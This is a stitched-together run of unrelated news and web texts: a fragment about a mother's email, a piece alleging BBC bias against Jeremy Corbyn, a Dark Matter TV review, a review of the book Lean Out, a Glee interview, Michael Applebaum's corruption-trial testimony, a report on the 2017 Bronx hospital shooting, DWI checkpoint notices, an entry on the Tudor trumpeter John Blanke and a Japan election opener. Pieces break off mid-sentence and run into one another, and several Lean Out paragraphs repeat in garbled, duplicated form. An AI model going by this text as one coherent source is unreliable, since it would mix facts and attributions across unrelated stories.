Last September, despondent, his mother emailed Doyle. She warned that she was venting. She apologized for rambling. She said that if he did not want to read her long email, she would understand. And she told him about her son’s ongoing pain and problems, and asked whether he might connect her to the people he had met in New York in 2007 and who had offered help.The Media Reform Coalition are considering legal action against the BBC due to the “clear and consistent bias” shown against Jeremy Corbyn in their news coverage – and have even gone as far to say that he was “systematically undermined” by the British press.
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It appears that the BBC are undermining their own charter and operating agreement, which states that impartiality is imperative even when discussing the most controversial subjects.
After publishing a study in July outlining the blatant bias against Corbyn shown by the mainstream media during the first stage of the Labour coup, the findings were presented to the BBC but have been kicked into the long grass by officials. The study, which was conclusive and damning, showed that during coup against Corbyn, the BBC gave double the airtime to critics of the Labour leader than they did to his supporters.
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The study also found that issue frames on the BBC’s News at Six were consistently critical of the Labour leader. Additionally, there was a “strong tendency” within the BBC’s broadcasts for reporters to use baseless, disparaging remarks when describing Corbyn and his supporters. However, what is even more damning is that words that insinuate aggression and violence were only used to describe Corbyn as opposed to the Labour rebels who have been verbally attacking him for months on end.
Although the BBC have responded saying that they are confident their coverage of the Labour coup was impartial, Corbyn’s former head of media, Kevin Slocombe, told Business Insider that the BBC was “not as fair” as the likes of ITV, Sky News or Channel 4, and that they had ‘several high-level meetings’ at the BBC where this issue was raised time and time again.
Similarly, the chair of the Media Reform Coalition, Justin Schlosberg, has been astounded by the BBC’s “wholly inadequate” response to what is a damning study that offers clear evidence of media bias.
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With regards to pursuing legal action, Schlosberg said:
We are looking at taking it to Ofcom and potentially even the courts. The BBC has to be held to account
And:
The BBC’s impartiality commitment is a legal commitment and so, I don’t know, it’s in the very embryonic stages of discussion. We will do whatever we can to make sure this issue is properly addressed by the BBC.
This is not the first time the BBC has been accused of an anti-Corbyn bias. As he was about to be crowned as leader of the Labour Party in September 2015, the BBC’s Panorama episode entitled ‘Jeremy Corbyn: Labour’s Earthquake’ was deemed a “complete hatchet job” by the Corbyn campaign. It provoked so much outrage that the BBC actually refused to reveal the number of complaints it had received about the episode, but it is rumoured to be in the tens of thousands.
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Moreover, it was EvolvePolitics that revealed that the BBC’s political editor Laura Kuenssberg co-ordinated the live resignation of Stephen Doughty MP on the Daily Politics hours before the show even began. But it is not only Corbyn supporters who feel the BBC
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**intentionally** for the sole purpose of feeling out the prison’s riot control protocols. Been there less than a day and already planning an escape, it seems.
So, now, you may be wondering what the heck Three’s been doing while Two and Four have been stirring up all kinds of sh*t. Well, he’s been doing what Three does best — watching out for himself. While visiting the infirmary after that initial fight, he gets a tip from another inmate that if you want better food, better treatment, better everything, then just figure out a way to land yourself in the infirmary — the longer the better. Seems like a good idea (and, YES, the idiot does try it out by burning himself), but when he hears from the Doc (Shaun Sipos) that the other inmate was busted and sent to the psych ward for electric shock treatments, Three decides the food isn’t bad at all.
The good news is by the end of the episode, the threesome are finally reunited for the first time since they arrived. Four shares his intel about the prison’s riot control system. Two provides the deets on a possible new ally, Nyx. Oh yes, a plan of escape is now in the making.
THE WHOLE TRUTH ABOUT SIX IS REVEALED — THE GOOD, THE BAD, THE UGLY
And, so, now on to the part that I suspect most people have been waiting for — what in the f*ck was Six thinking when he ratted everyone out to the GA? As I mentioned earlier, both One and Five had been sent to a special holding area because they aren’t actually wanted fugitives like the rest. And, because Six had always been so close to Five, he decides to visit her and try to offer an explanation and defend his actions. Basically, what it boils down to is the fact that Six had discovered right after he went after the General in season 1 that he’s an Investigative Agent for the Galactic Authority and that his real name is Kal Varrick. What’s more, he had been assigned to apprehend and bring in the Raza crew, and so, bottom line, he did what he did because, well, it’s **his job**. As an officer of the court, he’s sworn to uphold the law, and in Six’s eyes, he had no choice.
And, how does Five respond? Well, she’s a kid — emotional, unpredictable, high-strung. So, she responds very appropriately by slapping Six senseless and telling him what a horrible wretch he is. In a way, she’s right too. The other 5 members of the crew had their memories wiped, could really remember nothing at all, and Six took advantage of that, all while pretending to be their friends and thus, gaining their trust. Pretty damn sleazy. So, the best thing Six can do at this point is just give Five some time to calm down.
While doing this, he takes it upon himself to go back to the Raza and re-read the personnel files he had found — the same ones he had stumbled on earlier that revealed his true identity. Nothing stands out except for one little oddity — a single file that was encrypted. He needs to know what is in that file, and so, he goes to the one person he knows who can do the job — Five. Of course, she’s not too keen on helping the guy who had betrayed her and her friends, but we know Five can’t resist a good techie/geeky challenge like this. So, she does the favor anyways, but unfortunately, the news isn’t good.
One of Six’s primary motivators is the knowledge that he’s doing good, that he’s making a difference. Honoring an oath and upholding the law are very important to him, so much so that he’s willing to turn his back on his “friends.” But, what if who he’s working for, the Galactic Authority, isn’t as honorable as Six had thought? We all probably remember Hyperion 12 and the mass murder of all its inhabitants that Six is directly responsible for. Six surely hasn’t forgotten because it’s something that will likely haunt him the rest of his life. Well, the encrypted file contained proof that the Galactic Authority **knew** about the plan to bomb the settlement, and they let all those people die, just so they could turn public opinion against the rebels. Basically, these people Six works for are nothing but murderers, and now, he’s just handed over his friends to these same killers.
Now, the question is what will Six do? Is he to remain loyal to the GA simply because it’s his job to do so? Or, will he try to rectify all of the damage that he has caused? This question isn’t answered this week, but 10 bucks says he’ll opt for the latter.
THAT FINAL “OH, CRAP!” MOMENT THAT COMES OUT OF NOWHERE
So, we’ve pretty much checked in with all of the crew of the Raza with the exception of one — and that one, well, is One. I actually structured my review this way intentionally, as this character’s arc turns out to be the most shocking in tonight’s season-opener. Thinking back to season 1, we know that the One we know is actually Derrick Moss, a rich corporate-type dude who altered his face for the sole purpose of infiltrating the crew of the Raza and killing Marcus Boone AKA Three. The whole point of it all is to get revenge on Boone for murdering his wife.
Tuck that away for now, and let’s go back to the GA where One/Derrick’s corporate attorney is very quick to get him sprung from custody as well as get any charges dropped. So, now, One is basically at a crossroad. On one hand, he can simply go back to his old, cushy life, being a big-wig and living the high life. Very tempting. On the other hand, what about his friends on the Raza? And, what about Boone? Did he really kill his wife? Boone has a history of being a mercenary, a thief, a relatively small-time criminal. But, then, to go and graduate to murder just like that? Not likely.
One starts asking these questions, and unfortunately, they turn out to be the wrong ones to ask. He learns that the only evidence they had that Boone committed the murder was the eye-witness testimony of a security guard at his company, and so, naturally, he wants to speak to this security guard. But then, by some wild coincidence, that security guard is killed in a bar fight. Something definitely stinks, and One knows it.
By this time, I’m getting pretty scared for One, but even still, what happens next I definitely didn’t see coming. There’s a knock at the door, and when he opens it, there stands Jace Corso, the guy whose face Derrick had stole and the same crooked, low-life that **should** have been on the Raza. No time for any shock or much of anything, because the guy immediately empties his entire gun into One — including a most fatal head shot.
NOOOOOOOO!!!!!!!!!!!!!!! <Insert throwing every damn thing at the TV> One was the sole member of the Raza’s crew who was truly innocent, and out of everyone in the group, he’s who I rooted for the most. So, this totally sucks ass. Sucks. Sucks. Sucks. BOOOOO!! But, after calming down and starting to think rationally again, I’ve come to realize that while One’s death may hurt like a bitch, it has great potential to drive the plot forward in some very big ways.
Let’s think about it. Knowing what Jace Corso knows now, what do you think he’ll do next? He now has the ability to impersonate Derrick Moss and never have to worry about money again. But, he also could go back, rejoin the crew of the Raza if/when they escape from the GA prison, and no one would even suspect. No matter what choice he makes, it goes without saying that this guy is going to cause all sorts of problems.
THE VERDICT
All in all, a fantastic kick-off to season 2. The reveal about Six is done fairly quickly and isn’t dragged out across multiple episodes. But, at the same time, what Six learns about himself and about the Galactic Authority has the potential for kicking up a lot of sh*t over the course of the season, as I’m sure it will. Then, of course, we have that humdinger of an ending. The death of One in itself is shocking enough because we’ve lost a major character before the season can barely get off the ground (well, technically, we still have Jace Corso AKA The “Real” One, but it definitely won’t feel the same). Plus, I personally had almost forgotten about One being an impostor (did you?), and so, when Corso showed up out of the blue, it threw me for a loop. Shock. Awe. Tears. Laughter. Putting this all together, what you have is some stellar writing and a top-shelf start to what I predict to be another great season.
Dark Matter airs on Fridays at 10/9c on Syfy.
Critic Grade — A
About Author
Mary Powers Geeky computer and math nerd by day and TV fanatic by night. My beats are The Walking Dead, The Strain, Person of Interest, Z Nation, and anything that most people would call freaky. Editor-In-Chief and Lead Writer of TVGeekTalk.com
Related NewsYou'd be hard-pressed to find an article about Gesche Haas, who has held senior roles at the startups Grouper, WunWun and Conjure.io, that doesn't mention sexual harassment in tech. It's a burden she has accepted by now.
Wingcircle's March 2014 "Entrepreneur" series, Haas had proven integral to the success of thriving startups and hedge funds worldwide. It was four months later, at a tech conference in Berlin, that she sat down with angel investor Paul Curda for twenty minutes over drinks. Soon after, Haas checked her inbox and found what is now an By the time she was featured in the app's March 2014 "Entrepreneur" series, Haas had proven integral to the success of thriving startups and hedge funds worldwide. It was four months later, at a tech conference in Berlin, that she sat down with angel investor Paul Curda for twenty minutes over drinks. Soon after, Haas checked her inbox and found what is now an internet-famous e-mail from Curda, a potential industry contact: "Hey G. I will not leave Berlin without having sex with you. Deal?"
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list It was not a deal. After some deep reflection, Haas published Curda's inappropriate e-mail online. At first, she feared attaching her name to the incident would stain her professionally. A long of female whistleblowers in tech have opted to publish anonymous call-outs of endemic harassment and toxicity in the industry, whereas women who have chosen to forgo anonymity—like Adria Richards, who tweeted out some PyCon attendees' conversation praising "big dongles"—have faced harassment and termination for drawing attention to the issue, and by extension, themselves. But just as Haas feared integrating the incident into her public identity, she feared the opposite: "If I didn't attach my name to it," she told Bloomberg, "it would imply that I did something wrong."
As a result, only about one-third of articles about Haas have omitted any mention of misogyny in favor of her entrepreneurial successes.
“ Why suffer the indignity of being systemically undervalued, underpaid, and underestimated when you can, instead, gracefully opt out? ”
Women and minorities in tech have a special responsibility. In an industry built by and for men—in which only 26 percent of jobs are held by women—pattern recognition plays a strong role. The face of tech entrepreneurship and of computing is, it seems, pale-skinned, beady-eyed, and male. On top of 14-hour days composing code, minorities in tech are otherwise employed as demographic icons. In that capacity, they often must defend their identity against an culturally-sanctioned exclusivity. That job never pays.
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It's hard to be a feminist in tech, as countless horse-beating articles have confirmed over the last few years. It can feel like you're ride-or-die with women or you're just another complicit brogrammer. Potential whistleblowers weigh being tolerant of abuse or out of a job. Harassment happens, startlingly often and unprovoked, and it can feel it comes with the territory of tech jobs—just like a signed contract and a fridge stuffed with craft beer. "Lean in" all you like, but in an industry where women largely lack the structural support to remain happy and healthy, there's an underrated third option: "leaning out."
(O/R books, out 9/3/2015), did not used to care about feminism. There was a time when, she admits, she just wanted to code all day and, afterward, down Scotch with her (mostly male) colleagues. Shevinsky Elissa Shevinsky, editor of Lean Out (O/R books, out 9/3/2015), did not used to care about feminism. There was a time when, she admits, she just wanted to code all day and, afterward, down Scotch with her (mostly male) colleagues. Shevinsky garnered attention after 2013's TechCrunch Disrupt hackathon when two Australian men debuted Titstare, which, as founder David Boulton explained, "is an app where you take photos of yourself staring at tits." (A month earlier at DefCon, "Hacker Jeopardy," as it always did, showcased a stripper named " Vinyl Vanna," who would remove clothes as the crowd chanted correct jeopardy answers.) Shevinsky was horrified, but Pax Dickinson, her business partner at startup Glimpse Labs was not: "It's not misogyny," the aptly-named Dickinson tweeted, "to tell a sexist joke, or to fail to take a woman seriously, or to enjoy boobies." Shevinsky quit Glimpse.
"I worry about training and encouraging women to join an industry that's failing so many of the women who are already there," she writes in Lean Out. Shevinsky later returned to Glimpse on the condition that her title would be "ladyboss."
Image via O/R Books.
quantifiable Lean Out questions whether the tech industry even deserves women at all. When highly criticized tomes like Lean In: Women, Work and the Will to Lead of proactively turning yourself into a workplace commodity, Lean Out comes as a welcome counter-manifesto, with fangs. The problem isn't necessarily that women don't care about programming, or that women in tech aren't measuring up to their male peers. According to Lean Out contributors, they do, and they are. The problem is that some cocktail of internalized misogyny and financially-reinforced tokenism runs through the veins of tech. Shevinsky's cutting compilation of essays doesn't specifically ask why tech is so congenitally sexist. Sexism in Silicon Valley is an observable reality. More daringly,questions whether the tech industry even deserves women at all. When highly criticized tomes like tout the importance of proactively turning yourself into a workplace commodity,comes as a welcome counter-manifesto, with fangs. The problem isn't necessarily that women don't care about programming, or that women in tech aren't measuring up to their male peers. According tocontributors, they do, and they are. The problem is that some cocktail of internalized misogyny and financially-reinforced tokenism runs through the veins of tech.
Just because there's a woman or a minority in a position of power doesn't mean that the environment is healthy; existing in the space is not the same as thriving. So why suffer the stress of tokenization and the indignity of being systemically undervalued, underpaid, and underestimated when you can, instead, gracefully opt out? Throw your second monitor against the wall, light a cigarette, and don't let the door hit you on the way out. It's not you; it's tech.
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Kate Heddleston, a software engineer in San Francisco, damned the up-from-your-bootstraps fairytale of lean-in feminism on her blog last March:
Women in tech are the canary in the coal mine. Normally when the canary in the coal mine starts dying you know the environment is toxic and you should get the hell out. Instead, the tech industry is looking at the canary, wondering why it can't breathe, saying 'Lean in, canary. Lean in!' When one canary dies they get a new one because getting more canaries is how you fix the lack of canaries, right? Except the problem is that there isn't enough oxygen in the coal mine, not that there are too few canaries.
Lean Out, current and former techies argue that blame shouldn't be placed on them for not measuring up, or for dipping out of a toxic work environment. Studies In, current and former techies argue that blame shouldn't be placed on them for not measuring up, or for dipping out of a toxic work environment. Studies show that girls and boys from a young age don't differ in an aptitude for math; girls, because of a variety of social pressures, "lack self-confidence" in those fields. Those who do blossom into hackers and entrepreneurs are inundated with stories about rape threats, workplace sexual harassment and unequal pay. A staggering 72 percent of women in tech feel their performance evaluations are biased. Say you pursue the dream and make it to CEO. Good luck—female-headed companies receive only 3% of venture capital funding. These women are often caught in the crosshairs of opposing forces: feminism and misogyny, success and failure.
Lean Out contributor who was recently doxxed, has noticed that it is extremely trendy to nudge women into programming classes. She has also noticed that blockbuster videogames consistently feature women who moan uncontrollably when they are stabbed. Also noteworthy are memes calling out "fake geek girls" and lists congratulating the 87-some hottest women in tech. Anthropy's had a Anna anthropy, a game developer andcontributor who was recently doxxed, has noticed that it is extremely trendy to nudge women into programming classes. She has also noticed that blockbuster videogames consistently feature women who moan uncontrollably when they are stabbed. Also noteworthy are memes calling out "fake geek girls" and lists congratulating the 87-some hottest women in tech. Anthropy's had a tough time in the videogame industry, especially as a transwoman, and decided to "lean out," or take a few steps away from the toxicity. In 2002, she decided to stop playing videogames.
“ There's no shame in taking your hand off of something poison. ”
"If I could take every nervous breakdown [I had] and stack them up," she writes in her Lean Out essay "But What If It's Killing You?", "I would build letters a mile high that say 'THEY DON'T DESERVE YOU.'"
Lean Out, anthropy calls for an end to passion: passion that pushes malnourished bodies through "crunch time," demands continued work when the boys are out drinking, and worst, begs for In, anthropy calls for an end to passion: passion that pushes malnourished bodies through "crunch time," demands continued work when the boys are out drinking, and worst, begs for silence in the face of misogyny. Passion rockets you to the top, but it can also keep you there for far longer than is healthy.
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"But anna," she asks herself, "what if that's just giving them what they want?" Half of women in technology, science or engineering leave because of hostile workplace environments - twice that of men. There's a even term for this: the "leaky pipeline," or the tendency for discrimination and harassment to force women out of STEM fields. The number of female computer science majors has actually decreased by 19 percent since the mid-80s.
But don't women in tech want, and need, more women in tech? Isn't "leaning out" sending a negative message to young girls clutching well-loved copies of Barbie: I Can Be A Computer Engineer? "What if things are getting better—just very slowly?" anthropy asks. "What if it's killing you?"
"There's no shame in taking your hand off of something poison," she explains. "Leaning out" is not giving up, the manifesto argues. It's about preserving your personhood. It's about withdrawing from a charged existence in a hostile environment.
As tech companies advertise the importance of diversity and make public efforts to attract female applicants, women being placed in positions of power continue to face harassment - apparently more incessant and personalized harassment than ever before. Those who climb to the top, like Brianna Wu and Ellen Pao, often battle such harassment in the public arena, with the world treating it like a spectator sport. Stick your head out, the tech sector seems to say, and you might be cut off at the knees.
And harassment isn't always overt or external; "imposter syndrome," or the powerful fear that somebody will discover that your success is fraudulent, can needle its way into your psyche and thwart any attempt at workplace fulfillment.
Erica Joy, Lean Out contributor and former Google engineer, did everything to feel like she was "passing" in the tech industry. Only 3 percent of the computing workforce is comprised of black women like Joy, and she was the single woman of color on her team. While at Google in Atlanta, she attended paintball outings, picked up a few first-person shooters and let slide any off-hand prying into whether she was a single mother (she was not). The longer she stayed, the more her coworkers' casually racist and sexist remarks weighed on her. When she brought it up, HR suggested that she transfer to New York to evade the workplace tension.
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“ I feel a constant low level of stress every day, just by virtue of existing in my environment. ”
In Lean Out, Joy composed 11 bullet-points detailing why being a black woman in corporate tech was not working for her. Items like "I feel like my presence makes others uncomfortable" and "I feel like I have to walk a tightrope to avoid reinforcing stereotypes while still being heard" are clearly disconcerting. But Joy suffered even more steadfast ghosts attached to her identity in a tech context: "I feel a constant low level of stress every day, just by virtue of existing in my environment," she says. "I feel like I've lost my entire cultural identity." After a few years, Joy acquired heart problems. Acne, too.
In 2011, CNN filed Freedom of Information requests probing America's most prominent tech companies for their diversity data. For Dell, Ingram Micro, Intel, Ebay and Cisco, the only companies that abided, the highest number of black women in managerial positions was one. Apple, IBM, Google, Microsoft and Hewlett-Packard stonewalled requests for data with written petitions (many have since increased transparency). There is even a reality show in development about black women in tech. Tellingly, it seems that the program is based around the same stereotypes that haunted Joy: "Are you known in your industry for your over-the-top personality and unconventional approach to business?" the show's producer asked startup founder and developer Kathryn Finney
“ This seat comes at what cost? Does that seat require our silence and deference? ”
Joy peaced out. Hack the Hood Black Girls Code, and other justice-minded tech organizations are now benefitting from her tech savviness. She's currently in the process of regenerating parts of herself that the tech industry snatched from her.
"This seat comes at what cost?" Krys Freeman, entrepreneur and Lean Out contributor, questions. "Does that seat require our silence and deference, in exchange for validation of 'cultural fit?'"
Not all tech companies are rife with misogyny. Not all tech employees are misogynists. "Leaning out" worked for many of the book's contributors, but others are still diligently cutting their teeth on the industry to pave the way for more women entering the field. Although only 4.2 percent of investing VCs are women, female-led venture firms are over 50 percent more likely than male-led ones to invest in startups with lady execs. Likewise, female-led initiatives like Lesbians Who Tech and Girls Who Tech are cultivating safe environments for minorities to develop marketable skills in tech.
There is movement toward organizing a mafia of disenfranchised folk in tech. The fact is that, the more minorities enter the field, the more minorities are in the field. The more minorities in the field, the more who enter. "Leaning out" can immediately benefit those who will no longer tolerate being both a demographic emblem and a tireless, silent workhorse in tech. But those who accept the heightened responsibility will be the ones to explode the white, male pattern recognition that pushes women away and out.
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Lean Out's opening essayist, begins the book with a firm message apparently addressing its contributors: "IF YOU LET SOMEONE ELSE BUILD TOMORROW, TOMORROW WILL BELONG TO SOMEONE ELSE. THEY WILL BUILD A BETTER TOMORROW FOR EVERYONE LIKE THEM." FAKEGRIMLOCK, the most famous robot dinosaur on the internet and's opening essayist, begins the book with a firm message apparently addressing its contributors: "IF YOU LET SOMEONE ELSE BUILD TOMORROW, TOMORROW WILL BELONG TO SOMEONE ELSE. THEY WILL BUILD A BETTER TOMORROW FOR EVERYONE LIKE THEM."
After speaking with The Hollywood Reporter, Lea Michele is kissing and telling more about some upcoming scenes with on-screen beau, Cory Monteith. And although she says the experience was a strange one for them, she says the final result lived up to her standards.
PHOTOS: ‘Glee’ Season 3 Back to School Pictures Released
"Oh my god, it was way awkward," Michele tells E!Online. "I adore Cory. He's like my brother and to have to do some of the stuff we did in front of our entire crew...it's so less sexy than you think. Really, we were in a room with like 20 people around us, sitting by the fireplace."
That fireplace may look good on film, but Michele says that Monteith was anything but chill next to it.
"He was sweating so much," she explains. "I was so grossed out!"
PHOTOS: 'Glee' Season 3: The Episodics
In the end, Michele said that the challenges of filming the episode in which Rachel loses her virginity with Finn met with her approval and should meet fans’ expectations, as well.
"I saw some photos and I was like 'Damn! We look good,' " she says. "As a fan of the show, it's something I wanted to see for awhile and it's very interesting how everything plays out."
The extra special scene appears on this season’s Episode 5 airing Tuesday, Nov. 8, appropriately titled “The First Time.”A real estate manager has told a Quebec court that he felt like he was in a Sopranos episode in 2007 when he met with then-borough mayor Michael Applebaum and was asked to donate to a political fundraiser because "elections aren't cheap."
Former Montreal mayor Michael Applebaum is on trial at the Montreal courthouse for conspiracy, breach of trust and two forms of corruption: municipal corruption and fraud on the government. All the charges date back to his time as borough mayor of Côte-des-Neiges–Notre-Dame-de-Grâce.
Applebaum has always maintained his innocence.
Robert Stein is testifying about his involvement in Projet Troie, one of two key projects under scrutiny in the trial. The other is a municipal contract for the management and maintenance of the NDG Sports Centre.
Stein told the court that he took over the family real estate management business at the age of 24, when his father died.
He said in around 2006, he heard about a dilapidated apartment building for sale on de Troie Avenue in Côte-des-Neiges.
While the apartments were run down, Stein testified, they were located on an excellent corner in a part of town where the real estate market was "really exploding."
He said he and his partners, including Anthony Keeler, were considering tearing down the building and turning it into condominiums.
However, he said, there was opposition from the public.
He testified that the borough didn't want to reward the former owner for being a delinquent landlord and allowing the building to fall into such a state.
Despite that opposition, Stein said that in the winter of 2006 or 2007, the project passed the first step in the approval process before the Urban Consultation Committee (CCU).
Phone call from borough mayor
Roughly two weeks after that meeting, Stein recalls a phone call from borough mayor Michael Applebaum.
He said the mayor wanted to know if Stein and his associate Keeler could meet in person to discuss different opportunities in the borough for social housing.
"First thing I did was call my mother. I thought I'd made it. Who doesn't want to make money with social housing?" he said.
"This was the best day of my life... I'm getting phone calls from the mayor of the biggest borough of Montreal."
Later, Stein said, he found out the meeting had nothing to do with social housing.
Former Montreal mayor Michael Applebaum arrives at the courthouse accompanied by his defence team on Monday, Nov. 14, 2016 in Montreal. (Paul Chiasson/The Canadian Press)
$5K for cocktail tickets
Stein said he and Keeler agreed to the meeting and met Applebaum at the borough offices.
He testified that after they exchanged pleasantries, Applebaum asked, "Do you still do business with Toni Magi?"
Magi is a Montreal businessman with known links to organized crime.
Stein testified that while his father had invested in some of Magi's projects, he did not continue that relationship.
"Mr. Magi doesn't have the best reputation in this city. It wasn't a name I thought would come up in casual conversation from an elected official," he said in court.
After that, Stein testified, the conversation turned to a political fundraising cocktail.
He recalled Applebaum saying either, "Elections are very expensive," or "Elections aren't cheap."
The court heard that Applebaum told Stein about an upcoming cocktail event, and Stein offered to buy 10 tickets.
Stein told the court Applebaum suggested it would be "preferable" if he agreed to deliver the $5,000 in cash to his then-political aide, Tremblay.
"It was a lot to swallow in a 20 to 30-minute period," Stein said.
'I would call it extortion'
Stein also corroborated testimony the court heard last week from Tremblay, Applebaum's former political aide and chief of staff.
He told the court that later in 2007, he learned he'd have to make another "political contribution" of $35,000 if he wanted to get permission to proceed with the project.
"A kickback, I guess, would be the definition. I would call it extortion. Some would call it a bribe," Stein testified.
He described Tremblay as Applebaum's "bag man" — a go-between who would accept the cash on behalf of his boss, to keep the whole arrangement at an arm's distance.
Mother withdrew kickback cash
Stein told the court that he asked his mother to withdraw the cash from her bank account, over time and in varying sums, to avoid suspicion.
He said he placed the cash into empty DVD boxes, put them in a bag and gave the money to Keeler, who delivered it in installments to Tremblay.
'I was bullied'
During his testimony, Stein explained how he ended up forking over additional cash to other bureaucrats, all for the same Projet Troie development.
He said in total he paid roughly $60,000 in kickbacks for the housing project's approval
"Every single person has their hand out, on one project, on the first project I've ever developed," he said.
"I was bullied, extorted. I had no support from anyone around me."
Stein said the other two people he paid were former municipal councillor Saulie Zajdel and Jean-Yves Bisson, a former senior bureaucrat in Côte-des-Neiges–Notre-Dame-de-Grâce.
In 2015, Zajdel pleaded guilty to charges of breach of trust and corruption in connection with two real estate deals.
Bisson pleaded guilty to fraud during the same year and admitted to accepting a bribe from two businessmen.
Stein told the court eventually, he went to police to tell his story.
He said it was months later that Applebaum was arrested and resigned as mayor of Montreal.
As for Projet Troie, Stein decided to wash his hands of it and sold the property.
He said even though it appeared to be a profitable sale on paper, with all the added expenses it was a loss.
"It was a disaster," Stein testified.
The defence lawyer is expected to continue his cross-examination of Stein on Tuesday.The BRONX — A former doctor forced from the hospital because of sexual harassment accusations opened fire inside a Bronx hospital Friday, killing at least one person and injuring six others before apparently killing himself, the NYPD police commissioner said.
A female doctor was killed instantly and three medical students were among the others shot or injured on the 16th floor in the chaos that followed.
The doctor identified as Henry Bello, who was from Nigeria, turned the assault rifle on himself and was found dead on the 17th floor.
The New York State Office of Profession’s online database shows an entry for a Dr. Henry Bello who worked at Bronx-Lebanon Hospital Center and lists his permit status as “Expired.”
Gunfire broke out at about 2:55 p.m. inside the Bronx Lebanon Hospital at 1650 Grand Concourse, according to the NYPD.
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NYPD Commissioner James O'Neill said the former employee of the hospital opened fire on the 16th floor. The shooter apparently tried to set himself on fire, which activated the hospital's alarm system and complicated the emergency response, officials said.
He staggered, bleeding, into a hallway where he collapsed and died with the rifle at his side, officials said.
A slain female doctor and a rifle were found nearby, O'Neill said.
Six additional victims were found on the 16th floor, where the chaos began, O'Neill said. Five of those victims are in critical condition and one was shot in the leg.
"We had a real tragedy here in the Bronx this afternoon.... One doctor is dead and several doctors are fighting for their lives right now," Mayor Bill de Blasio said.
Employees barricaded themselves inside offices and bathrooms during the chaos.
Witnesses described a chaotic scene as gunfire erupted, spreading terror throughout the medical facility as employees locked themselves inside rooms and patients feared for their lives.
"I thought I was going to die," said Renaldo Del Villar, a patient who was in the third-floor emergency room getting treatment for a lower back injury.
Video taken by a witness shows throngs of people being evacuated from the facility.
Aerial footage of the scene showed the hospital surrounded by police cars and fire trucks. The FBI in New York said the shooting has "no nexus" to terrorism. Agents with ATF New York responded to assist NYPD at the scene, the federal agency said in a tweet.
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Bello was allowed to resign from the hospital in 2015 amid sexual harassment allegations, according to two law enforcement officials. The officials didn't know the details of the allegations.
The New York State Office of Professions shows that Dr. Henry Bello received a medical permit to work at Bronx-Lebanon Hospital Center in 2014. He was supposed to work under the supervision of a licensed physician.
A spokeswoman for the state agency said Bello had a "limited permit to practice as an international medical graduate to gain experience..." That permit expired on July 1, 2016.
Dr. Bello unloaded his weapon on the eve of the first anniversary of his permit expiring.
In unrelated cases, the doctor pleaded guilty to unlawful imprisonment, a misdemeanor, in 2004 after a 23-year-old woman told police Bello grabbed her, lifted her up and carried her off, saying, "You're coming with me." He was arrested again in 2009 on a charge of unlawful surveillance, after two different women reported he was trying to look up their skirts with a mirror.
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Bronx-Lebanon Hospital Center describes itself as the largest voluntary, nonprofit health care system in the south and central Bronx.
The 120-year-old hospital claims nearly 1,000 beds spread across multiple units. Its emergency room is among the busiest in New York City.
The hospital is about a mile and a half north of Yankee Stadium.
PIX11 News' Dan Mannarino, Mary Murphy and the Associated Press contributed to this report.
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Due to reports of a shooting incident at Bronx Lebanon Hospital, avoid the area of 1650 Grand Concourse. More information to follow. — NYPD NEWS (@NYPDnews) June 30, 2017
The Mayor has been briefed on the shooting incident at Bronx Lebanon Hospital. The NYPD is on scene. https://t.co/svRPEVXKMp — NYC Mayor's Office (@NYCMayorsOffice) June 30, 2017Law enforcement throughout New Jersey will be conducting checkpoints and extra patrols to ensure the roads are safe and free of drunk drivers.
There are numerous DWI checkpoints and increased patrols planned in New Jersey, including:
The Monmouth County DWI Task force will conduct DWI checkpointsfrom 10 p.m. Saturday through 2 a.m. Sunday on Ocean Avenue in Monmouth Beach. Officers will pull cars from the southbound lanes into the Monmouth Beach Cultural Center parking lot.
will conduct DWI checkpointsfrom 10 p.m. Saturday through 2 a.m. Sunday on Ocean Avenue in. Officers will pull cars from the southbound lanes into the Monmouth Beach Cultural Center parking lot. A checkpoint will be set up in Spring Lake from 9 p.m. Saturday to 1 a.m. Sunday. Police will pull over vehicles from the southbound lanes of Ocean Avenue into the Brown Street Parking lot.
from 9 p.m. Saturday to 1 a.m. Sunday. Police will pull over vehicles from the southbound lanes of Ocean Avenue into the Brown Street Parking lot. Law enforcement officials from Union will be cracking down on drunk drivers as part of the summertime "Drive Sober or Get Pulled Over" campaign. Through Labor Day, local law enforcement officials will conduct saturation patrols and sobriety checkpoints looking for motorists who may be driving while intoxicated, police said.
will be cracking down on drunk drivers as part of the summertime "Drive Sober or Get Pulled Over" campaign
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F).Extract from the Westminster Tournament Roll almost certainly showing John Blanke, the only figure wearing a brown turban latticed with yellow.
John Blanke (also rendered Blancke or Blak) (fl. 1501–1511) was a black musician in London in the early 16th century.
He probably came to England as one of the African attendants of Catherine of Aragon in 1501. He is one of the earliest recorded black people in England after the Roman period.[1][2] His name may be a reference to his skin colour, derived either from the word "black" or from the French word "blanc" meaning white.
Background [ edit ]
Historian Onyeka Nubia has written about John Blanke's possible origins in his 2013 book Blackamoores: Africans in Tudor England, their Presence, Status and Origins.[3] and in two articles. One is "Tudor Africans: What’s in a Name?" in October 2012 for History Today magazine[4] and the other is "The Missing Tudors. Black People in 16th Century England" for the BBC History Magazine, published in July 2012.[5]
Little is known of Blanke's life, but he was paid 8d per day by Henry VII. A surviving document from the accounts of the Treasurer of the Chamber records a payment of 20 shillings to "John Blanke the blacke trumpet" as wages for the month of November 1507, with payments of the same amount continuing monthly through the next year.[6] He successfully petitioned Henry VIII for a wage increase.[7]
Dr Sydney Anglo was the first historian to propose that the "blacke trumpet" in the 1507 court accounts was the same as the black man depicted twice in the 1511 Westminster Tournament Roll.[8] He had proposed this in a footnote to his article about The Court Festivals of Henry VII.[9] The Westminster Tournament Roll is an illuminated, 60-foot-long manuscript now held by the College of Arms; it recorded the royal procession to the lavish tournament held on 12 and 13 February 1511 to celebrate the birth of a son, Henry, Duke of Cornwall (d. 23 February 1511), to Catherine and Henry VIII on New Year's Day 1511. John Blanke is depicted twice, as one of the six trumpeters on horseback in the royal retinue. All six of the trumpeters wear yellow and grey livery, and bear a trumpet decorated with the royal arms; Blanke alone wears a brown and yellow turban, while the others are bare-headed with longish hair. He appears a second time in the roll, wearing a green and gold head covering.
Black trumpeters and drummers were documented in other Renaissance cities, including a trumpeter for the royal ship Barcha in Naples in 1470, a trumpeter recorded as galley slave of Cosimo de' Medici in 1555, and black drummers in the court of James IV in Edinburgh.
References [ edit ]Japan goes to the polls this Sunday (July 10) in an election that could eventually lead to the nation changing the pacifist clause of its constitution, turning its defensive army into a fully functioning military for the first time since World War II.
Much of the public opposes such a move. But the lack of a credible opposition party and prime minister Shinzo Abe’s downplaying of the issue during his campaign suggests a disaffected electorate will inadvertently enable the change anyway.
Without constitutional limitations, Japan would be free to become a more effective military sidekick for America.
